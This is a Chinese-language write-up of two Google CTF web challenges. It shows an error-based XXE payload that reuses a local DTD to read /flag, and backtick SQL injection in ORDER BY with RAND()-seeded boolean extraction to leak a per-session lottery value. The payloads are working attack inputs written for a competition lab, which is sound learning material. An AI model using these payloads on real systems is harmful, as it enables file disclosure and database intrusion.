周末刚好没有太多的事情,参加了 Google CTF 来玩玩,印象中是第一次参加这个比赛。总的来说 google 题目还是属于质量不错的一类,但是 web 题目难度梯度太大了,前面二道还可以接受,但是最后二道好像到比赛结束都是零解,佛了 ~ 佛了 ~
通过阅读本文章,你将学会:
题目链接是:https://bnv.web.ctfcompetition.com/
访问主页会看到:
查看源代码看到有一个 post.js 文件,访问可以得到重要的 javascript 代码:
function AjaxFormPost() { var datasend; var message = document.getElementById('message').value; message = message.toLowerCase(); var blindvalues = [ '10', '120', '140', '1450', '150', '1240', '12450', '1250', '240', '2450', '130', '1230', '1340', '13450', '1350', '12340', '123450', '12350', '2340', '23450', '1360', '12360', '24560', '13460', '134560', '13560', ]; var blindmap = new Map(); var i; var message_new = ''; for (i = 0; i < blindvalues.length; i++) { blindmap[i + 97] = blindvalues[i]; } for (i = 0; i < message.length; i++) { message_new += blindmap[(message[i].charCodeAt(0))]; } datasend = JSON.stringify({ 'message': message_new, }); var url = '/api/search'; xhr = new XMLHttpRequest(); xhr.open('POST', url, true); xhr.setRequestHeader('Content-type', 'application/json'); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { console.log(xhr.getResponseHeader('Content-Type')); if (xhr.getResponseHeader('Content-Type') == "application/json; charset=utf-8") { try { var json = JSON.parse(xhr.responseText); document.getElementById('database-data').value = json['ValueSearch']; } catch(e) {; document.getElementById('database-data').value = e.message; } } else { document.getElementById('database-data').value = xhr.responseText; } } } xhr.send(datasend); }
这段代码就是把 City 输入框的值每个字母转换为小写再映射到 长度为 26 的 blindvalue 数组对应位置的数字,然后将这串数字发送到 api/search
后端,Content-type
类型是 application/json
,如果使用 Burp 截取数据包如下:
首先,思考这个命名为 blindvalue 的数组是什么含义,为什么需要这么映射?联想主页的标题有许多点,我很快就意识到这可能是个盲文,果然通过搜索就找到这就是 布莱叶盲文 。
然后对此我编写一个 py 脚本用于将小写字母映射到 blindvalue 数字:
# encoding:utf-8 blindvalues = [ '10', '120', '140', '1450', '150', '1240', '12450', '1250', '240', '2450', '130', '1230', '1340', '13450', '1350', '12340', '123450', '12350', '2340', '23450', '1360', '12360', '24560', '13460', '134560', '13560', ] msg = "Paris" msg = msg.lower() blindmap = {} new = "" for i in range(len(blindvalues)): blindmap[i + 97] = blindvalues[i] for j in range(len(msg)): new += blindmap[ord(msg[j])] print(new)
到这一步基本把题目的信息理解清楚了,接下来我考虑到几种思路:
盲文是否支持其他字符的映射?
不提交数字会引发服务器什么问题,是否存在注入等问题?
观察主页的 city 选项框的选项,全是 google 公司所在的城市(Zurish、Paris、Bangalore),题目的描述是:
Please use the search engine below to find the closest association near you.
是否尝试提交其他城市的 message 可以获得 flag?
是否有其他可以提交的 json 健值对?
接下里的几个小时就是对这些思路的验证,非常遗憾没有一个能让我利用,也不存在其他的 json 键值对,并且服务器只允许提交这 Zurish、Paris、Bangalore 三个城市的盲文数字。在这过程中也有一些收获,比如:
后来突然想到既然是 application/json
那么是否支持 XML 呢?于是尝试了修改 Content-type
类型为 application/xml
,竟然成功!下图返回结果说明服务端试图解析 XML 数据!
尝试网上公开的各种 XML 相关的利用:
经过尝试发现,唯一可以成功利用的 payload 如下:
<?xml version="1.0" standalone = "no"?> <!DOCTYPE message[<!ELEMENT message (#PCDATA)><!ENTITY test SYSTEM "file:///flag" >]> <message> &test; </message>
如果 SYSTEM 后面引号部分的文件存在会返回 :
No result found
如果不存在会返回:
Failure to process entity test, line 4, column 7
经过测试 file:///flag
是存在的,而且这里只支持 file 协议,因此你是无法将数据传递至外部服务器。这也是本题的一个难点,解决办法就是利用服务端的一个本地 dtd,然后重新定义它里面的一个 entity 触发错误,然后错误信息显示的时候会泄露你需要读取的文件内容。
尝试系统默认的 dtd:/usr/share/yelp/dtd/docbookx.dtd
Systems using the GNOME desktop environment often have a DTD at /usr/share/yelp/dtd/docbookx.dtd containing an entity called ISOamso.
最终利用 payload:
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
回显如下,得到 flag:
Invalid URI: file:///nonexistent/CTF{0x1033_75008_1004x0}, line 4, column 15
题目链接:https://glotto.web.ctfcompetition.com/,主页截图:
访问主页,发现有个源码链接跳至 ?src
,得到主页源码:
<?php require_once('config.php'); require_once('watchdog.php'); function gen_winner($count, $charset='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ') { $len = strlen($charset); $rand = openssl_random_pseudo_bytes($count); $secret = ''; for ($i = 0; $i < $count; $i++) { $secret .= $charset[ord($rand[$i]) % $len]; } return $secret; } if (isset($_GET['src'])) { die(highlight_string(file_get_contents(__FILE__))); } else if (isset($_POST['code'])) { session_start(); if (!isset($_SESSION['winner'])) die; $win = $_SESSION['winner']; unset($_SESSION['winner']); session_destroy(); if ($_POST['code'] === $win) { die("You won! $flag"); } else { sleep(5); die("You didn't win :(<br>The winning ticket was $win"); } } session_start(); $tables = array( 'march', 'april', 'may', 'june', ); $winner = gen_winner(12); $_SESSION['winner'] = $winner; $db = new mysqli(null, $dbuser, $dbpass, $dbname, null, $socket); //$db = new mysqli($dbhost, $dbuser, $dbpass, $dbname); if ($db->connect_errno) { printf("Connect failed: %s\n", $db->connect_error); exit(); } $db->query("SET @lotto = '$winner'"); for ($i = 0; $i < count($tables); $i++) { $order = isset($_GET["order{$i}"]) ? $_GET["order{$i}"] : ''; if (stripos($order, 'benchmark') !== false) die; ${"result$i"} = $db->query("SELECT * FROM {$tables[$i]} " . ($order != '' ? "ORDER BY `".$db->escape_string($order)."`" : "")); if (!${"result$i"}) die; } ?>
首先我们需要理清程序的逻辑:
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
随机 12 个字符,并赋值给 $_SESSION['winner']
$_SESSION['winner']
赋值给 MYSQL 数据库的 变量 @lotto
$_SESSION['winner']
值,则返回给你 flag,然后销毁这次 session很明显这题的注入点在 $db->escape_string($order)
处,猜测服务端的 escape_string 方法使用了 mysql_real_escape_string,这个函数会转义下面这些字符:
但是这个函数不会转义反引号,这就给我们机会闭合反引号然后进行注入。尝试如下 payload 你会发现主页的第一个表只有一行结果显示,表明你的注入成功。
?order0=winner` limit 1%23
到这我就尝试研究 order 后面可以注入什么,我确定了几个思路:
首先说下二和三,这是我最先尝试的注入手段。PROCEDURE 是位于 limit 后面的函数,可以参考 P 神的文章:https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html
按照文章的思路得使用,时间盲注,sleep 行不通,但是 benmark 又被禁了
其他主流的时间盲注如下:
后面过了很久,我想到既然 order by + limit 可以影响主页返回的数据表顺序,那么我是否可以尝试一些利用这个特性回显服务器信息呢?
在之前无意的尝试中我发现,使用如下 payload 会泄露服务器的一些信息
date` limit 1 PROCEDURE analyse(1,1)%23
服务器数据库是 glotto,表名是 march,列名是 date 和 winner,那么其他三个表是 april、may、june。我尝试用这些表构造笛卡尔积的时间盲注还是没成功。但是随后的尝试我 google 到一个 order 排列数据表的方式:
?order0=winner` IS NOT NULL,RAND()%23
如果拼接到服务端的 SQL 会变成:
select * from march order by `winner` is not null,rand();
服务端会生成一列随机的数字然后根据这个数字大小排列数据表返回到题主页。并且我们知道 rand() 参数可以接受参数作为种子,下面我暂时我的二个测试 payload 和对应的结果来证明根据返回的主页信息不同我们可以猜解 SQL 的执行情况:
第一个 payload:
winner` IS NOT NULL, RAND(ascii(mid(database(),1,1))=103)#
第二个 payload:
inner` IS NOT NULL, RAND(ascii(mid(database(),1,1))=104)#
由于我们知道数据库是 glotto,因此第一个 SQL 的 rand() 里面参数为 True,第二个 SQL 的 rand() 里面为 False,然后二个 SQL 提交到主页后的结果分别如下:
可以看到根据显示结果的不同知道 database() 的第一个字符 ASCII 是 103 还是其他的值,只有 rand() 里面会 True,页面才显示左边的结果。
到这一步你可能觉得问题解决了,搞个二分法猜 @lotto 的每个字符就好了。当时我也是这么想的,但是仔细阅读 PHP 源码你会发现,每次你提交一个 payload (访问一次主页),服务器储存的 @lotto 都会改变!
也就是说要么你只能访问一次主页就必须获得 @lotto 的全部 12 个字符取值,要么 ....放弃题目。
★:接下来就是本题的难点了,我寻思题目访问一次服务端其实可以执行 4 次 SQL (刚好对应 4 个表 March、April、May、June)
是否可以每一个 SQL 负责猜解三个字符呢(因为 @lotto 总共 12 个字符),这三个字符每一种取值情况对应该表显示在主页的一种排列,这样我只需要访问一次读取页面显示的结果就知道这 12 个字符的全部取值。对于 3 个字符,每个字符有 36 种取值,因此中国有
46656
种取值,而且我发现最长的是 April 表,有 9 行,全排列的可能为:
9! = 362880
这个数值是大于 46656 的,因此一种 April 表显示的结果排列对应三个字符的一种取值情况,这个方案是可行的!
但是问题来了,其他的表行数分别是 8 (March),7 (May),4 (June)。他们的全排列分别为 40320、5040、24。都小于 46656,特别是最后一个表只有 24 中全排列结果,根本无法猜解三个字符的全部可能情况。
数学一向很好的我是想到了,将这些表的全排列组合在一起!也就是每一种页面显示的 4 个数据表的总体情况代表我猜解的 12 个字符的 @lotto 一种取值,页面总体全排列:
注意不是(9+8+7+4)! 组合数学基本知识 ....
9! * 8! * 7!* 4! = 1769804660736000
12 个字符的 @lotto 取值情况有:
36 的 12 次方 = 4738381338321616896 (是 1769804660736000 的 2677 倍)
emmmmm 居然还是不够。这次我就懵逼了,难道还有可以泄露的信息能作为猜解字符的标识?
在这一步卡了真的特别久,无法继续好好解题了,中途还放弃过这个思路。真的是一脸懵逼呀
最后,我找到一个非常大胆并且独创的思路!既然我无法猜解出全部的 12 位,那么我是否可以值尽可能的猜出较多位的 @lotto 取值,其余的位就猜吧。
赛后我看到 ctftime 的 writeup (见参考链接),知道自己的思路是完全对的 :-)
但是到这步我的方法和 ctftime 的 writeup 就不同了
首先比较多少位的全部可能取值数量小于 1769804660736000 :
print(36 ** 11 < 1769804660736000) # Flase print(36 ** 10 < 1769804660736000) # Flase print(36 ** 9 < 1769804660736000) # True
我们只需要利用 SQL 注入获得 @lotto 的前 9 位为即可,对于剩下三位我设计了如下思路来猜解:
注意,我们每个 Cookie session 只能访问主页一次不然该 session 对应的 @lotto 会变
然后开个多线程去跑这套猜解流程,在我的服务器上经过 40 多分钟就得到正确的 12 位 @lotto,最终得到
CTF{3c2ca0d10a5d4bf44bc716d669e074b2}